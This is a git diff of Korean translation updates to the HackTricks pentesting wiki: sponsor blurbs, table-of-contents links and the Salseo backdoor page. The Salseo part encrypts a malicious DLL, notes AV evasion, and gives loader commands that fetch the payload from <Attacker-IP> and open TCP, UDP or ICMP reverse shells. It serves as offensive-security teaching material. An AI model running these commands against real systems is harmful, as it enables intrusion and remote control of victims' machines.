Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 5.5 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 74 KiB |
65
README.md
|
@ -1,11 +1,11 @@
|
|||
# 해킹트릭
|
||||
# HackTricks
|
||||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_에 의해 제작되었습니다._
|
||||
_Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_에 의해 제작되었습니다._
|
||||
|
||||
{% hint style="success" %}
|
||||
**CTF, 실제 앱, 연구 및 뉴스에서 배운 각 해킹 트릭/기술/기타를 찾을 수 있는 위키에 오신 것을 환영합니다.**
|
||||
**CTF, 실제 앱, 연구 독해 및 뉴스에서 배운 모든 해킹 트릭/기술/기타를 찾을 수 있는 위키에 오신 것을 환영합니다.**
|
||||
{% endhint %}
|
||||
|
||||
시작하려면 하나 이상의 **머신을 펜테스팅**할 때 **따라야 하는 일반적인 흐름**을 찾을 수 있는 이 페이지를 따르세요:
|
||||
|
@ -20,7 +20,7 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com)은 **해킹 불가능한 것을 해킹하라**는 슬로건을 가진 훌륭한 사이버 보안 회사입니다. 자체 연구를 수행하고 해킹 도구를 개발하여 펜테스팅, 레드팀 및 교육과 같은 여러 가치 있는 사이버 보안 서비스를 제공합니다.
|
||||
[**STM Cyber**](https://www.stmcyber.com)은 **HACK THE UNHACKABLE**이라는 슬로건을 가진 훌륭한 사이버 보안 회사입니다. **자체 연구를 수행하고 자체 해킹 도구를 개발하여** 펜테스팅, 레드팀 및 교육과 같은 여러 가치 있는 사이버 보안 서비스를 제공합니다.
|
||||
|
||||
[**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 **블로그**를 확인할 수 있습니다.
|
||||
|
||||
|
@ -30,9 +30,9 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. 기술 지식을 증진하는 것을 임무로 삼아 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남 지점입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com)은 **스페인**에서 가장 중요한 사이버 보안 이벤트 중 하나이자 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 미션**을 가지고 있는 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남 지점입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -40,11 +40,11 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti**는 **유럽 최고의** 윤리적 해킹 및 **버그 바운티 플랫폼**입니다.
|
||||
|
||||
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 가입하고 최대 **$100,000**의 바운티를 받아보세요!
|
||||
**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti**에 가입하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 가입하고 최대 **$100,000**의 바운티를 획득하세요!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -52,10 +52,10 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축 및 자동화**할 수 있습니다.
|
||||
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
|
@ -76,22 +76,40 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
실시간 뉴스 및 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요
|
||||
|
||||
**최신 공지**\
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아보세요
|
||||
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아보세요
|
||||
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 오늘부터 최고의 해커들과 협업을 시작하세요!**
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**에 참여하여 오늘부터 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - 필수 침투 테스트 툴킷
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - 필수적인 펜트스팅 툴킷
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 완전한 펜테스트를 어디서든 실행하세요. 우리는 펜테스터를 대체하지 않습니다 - 깊이 파고들고 쉘을 열고 즐기기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
**취약점 평가 및 펜트스팅을 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능으로 어디서든 전체 펜테스트를 실행할 수 있습니다. 우리는 펜테스터를 대체하지 않습니다 - 깊이 파고들고 쉘을 열고 즐기기 위해 사용자 정의 도구, 탐지 및 공격 모듈을 개발합니다.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi는 빠르고 쉬운 실시간 API를 제공하여 **검색 엔진 결과에 액세스**할 수 있습니다. 검색 엔진을 스크래핑하고 프록시를 처리하며 캡차를 해결하고 모든 풍부한 구조화된 데이터를 파싱합니다.
|
||||
|
||||
SerpApi의 요금제에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크래핑하는 데 사용할 수 있는 50가지 이상의 API에 액세스할 수 있습니다.
|
||||
|
||||
다른 제공업체와 달리 SerpApi는 유기적 결과뿐만 아니라 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 포함된 기타 요소 및 기능을 일관되게 스크래핑합니다.
|
||||
|
||||
현재 SerpApi 고객으로는 Apple, Shopify 및 GrubHub이 포함되어 있습니다.
|
||||
|
||||
자세한 정보는 [블로그](https://serpapi.com/blog/)를 확인하거나 [**playground**](https://serpapi.com/playground)에서 예제를 시도해보세요.
|
||||
|
||||
무료 계정을 [**여기**](https://serpapi.com/users/sign\_up)에서 만들 수 있습니다.
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -104,16 +122,15 @@ _해킹트릭 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instag
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl)은 **암스테르담**에 기반을 둔 전문적인 사이버 보안 회사로, **현대적인** 접근 방식으로 비즈니스를 **전 세계적으로** 최신 사이버 보안 위협으로부터 보호합니다.
|
||||
[**WebSec**](https://websec.nl)은 **암스테르담**에 기반을 둔 전문적인 사이버 보안 회사로, **현대적인** 접근 방식으로 세계 각지의 비즈니스를 **최신 사이버 보안 위협으로부터 보호**합니다.
|
||||
|
||||
WebSec는 **모든 것을 다 하는 보안 회사**로, 펜테스팅, **보안** 감사, 인식 훈련, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등을 제공합니다.
|
||||
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신들의 기술에 대해 매우 자신 있다는 것**입니다. 그들의 웹사이트에는 "**만약 우리가 해킹할 수 없다면, 지불하지 않습니다!**"라고 명시되어 있습니다. 자세한 정보는 [**웹사이트**](https://websec.nl/en/) 및 [**블로그**](https://websec.nl/blog/)를 참조하세요!
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신들의 기술에 대해 매우 자신 있다는 것**입니다. 그들의 웹사이트에는 "**만약 우리가 해킹할 수 없다면, 지불하지 않습니다!**"라고 명시되어 있습니다. 자세한 정보는 [**웹사이트**](https://websec.nl/en/) 및 [**블로그**](https://websec.nl/blog/)를 확인하세요!
|
||||
|
||||
위와 같은 WebSec는 HackTricks의 **열렬한 지지자**입니다.
|
||||
위에 언급된 것 외에도 WebSec는 HackTricks의 **열렬한 지지자**입니다.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
## 라이선스 및 면책사항
|
||||
|
||||
**다음에서 확인하세요:**
|
||||
|
@ -124,14 +141,14 @@ WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신들
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 제출하여 HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여** 협력하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
20
SUMMARY.md
|
@ -695,20 +695,26 @@
|
|||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
|
||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
|
||||
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
|
||||
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
<summary><strong>제로부터 영웨이에로 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,7 +20,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
이러한 프로젝트를 **Windows 상자의 아키텍처에 맞게 컴파일**하세요(Windows가 x64를 지원하는 경우 해당 아키텍처로 컴파일).
|
||||
|
||||
Visual Studio 내에서 **"Platform Target"**에서 **왼쪽 "Build" 탭**에서 **아키텍처를 선택**할 수 있습니다.
|
||||
**Visual Studio**에서 **"Platform Target"**의 **왼쪽 "Build" 탭**에서 **아키텍처를 선택**할 수 있습니다.
|
||||
|
||||
(\*\*이 옵션을 찾을 수 없는 경우 **"Project Tab"**을 누르고 **"\<Project Name> Properties"**를 선택하세요)
|
||||
|
||||
|
@ -40,11 +40,13 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
|||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
|
||||
윈도우 시스템에 백도어를 설치하는 것은 매우 일반적입니다. 백도어는 시스템에 대한 원격 액세스를 제공하므로 해커가 시스템에 접속하고 제어할 수 있습니다. 백도어를 설치하는 한 가지 방법은 윈도우 레지스트리에 항목을 추가하는 것입니다. 이를 통해 백도어는 시스템이 부팅될 때 자동으로 실행될 수 있습니다.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
이제 Salseo 작업을 실행하는 데 필요한 모든 것을 갖추었습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 이진 파일**.
|
||||
이제 Salseo 작업을 실행하는 데 필요한 모든 것이 준비되었습니다: **인코딩된 EvilDalsa.dll**과 **SalseoLoader의 이진 파일**.
|
||||
|
||||
**SalseoLoader.exe 바이너리를 기계에 업로드하십시오. 어떤 AV에서도 감지되지 않아야 합니다...**
|
||||
|
||||
|
@ -58,11 +60,11 @@ SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Att
|
|||
```
|
||||
### **UDP 리버스 쉘 얻기 (SMB를 통해 인코딩된 dll 다운로드)**
|
||||
|
||||
UDP 리버스 쉘 수신기로 nc를 시작하고 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하세요 (impacket-smbserver).
|
||||
UDP 리버스 쉘 수신기로 nc를 시작하고 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하는 것을 기억하세요 (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **ICMP 역쉘 얻기 (인코딩된 dll 이미 피해자 내부에 존재)**
|
||||
### **ICMP 역쉘 획득하기 (인코딩된 dll 이미 피해자 내부에 삽입됨)**
|
||||
|
||||
**이번에는 역쉘을 수신하기 위해 클라이언트에 특수 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
|
@ -81,21 +83,21 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
|||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## DLL을 내보내는 주요 함수로 SalseoLoader를 DLL로 컴파일하기
|
||||
## SalseoLoader의 주 함수를 내보내는 DLL로 컴파일하기
|
||||
|
||||
Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
|
||||
|
||||
### 주요 함수 앞에 추가: \[DllExport]
|
||||
### 주 함수 앞에 추가: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### 이 프로젝트에 DllExport 설치
|
||||
|
||||
#### **도구** --> **NuGet 패키지 관리자** --> **솔루션용 NuGet 패키지 관리...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExport 패키지 검색 (탐색 탭 사용)하여 설치 (팝업 수락)**
|
||||
#### **DllExport 패키지 검색 (탐색 탭 사용)하고 설치를 누릅니다 (팝업을 수락)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -103,17 +105,17 @@ Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
|
|||
|
||||
### DllExport 제거
|
||||
|
||||
**제거**를 누릅니다 (이상하지만, 신뢰하세요, 필요합니다)
|
||||
**Uninstall**을 누릅니다 (네, 이상하지만 믿어주세요, 필요합니다)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
### Visual Studio를 종료하고 DllExport\_configure 실행
|
||||
|
||||
Visual Studio를 **종료**합니다
|
||||
그냥 Visual Studio를 **종료**합니다
|
||||
|
||||
그런 다음, **SalseoLoader 폴더**로 이동하여 **DllExport\_Configure.bat**을 실행합니다
|
||||
그런 다음 **SalseoLoader 폴더**로 이동하여 **DllExport\_Configure.bat**을 실행합니다
|
||||
|
||||
**x64**를 선택합니다 (x64 상자 내에서 사용할 예정이라면), **System.Runtime.InteropServices** (DllExport의 **Namespace 내부**)를 선택하고 **적용**을 누릅니다
|
||||
**x64**를 선택합니다 (x64 상자 내에서 사용할 것이므로, 제 경우에 해당됩니다), **System.Runtime.InteropServices**를 선택합니다 (**DllExport의 네임스페이스 내에서**) 그리고 **Apply**를 누릅니다
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -125,11 +127,11 @@ Visual Studio를 **종료**합니다
|
|||
|
||||
### 솔루션 빌드
|
||||
|
||||
**출력 유형 = 클래스 라이브러리** 선택 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)
|
||||
**출력 유형 = 클래스 라이브러리**를 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
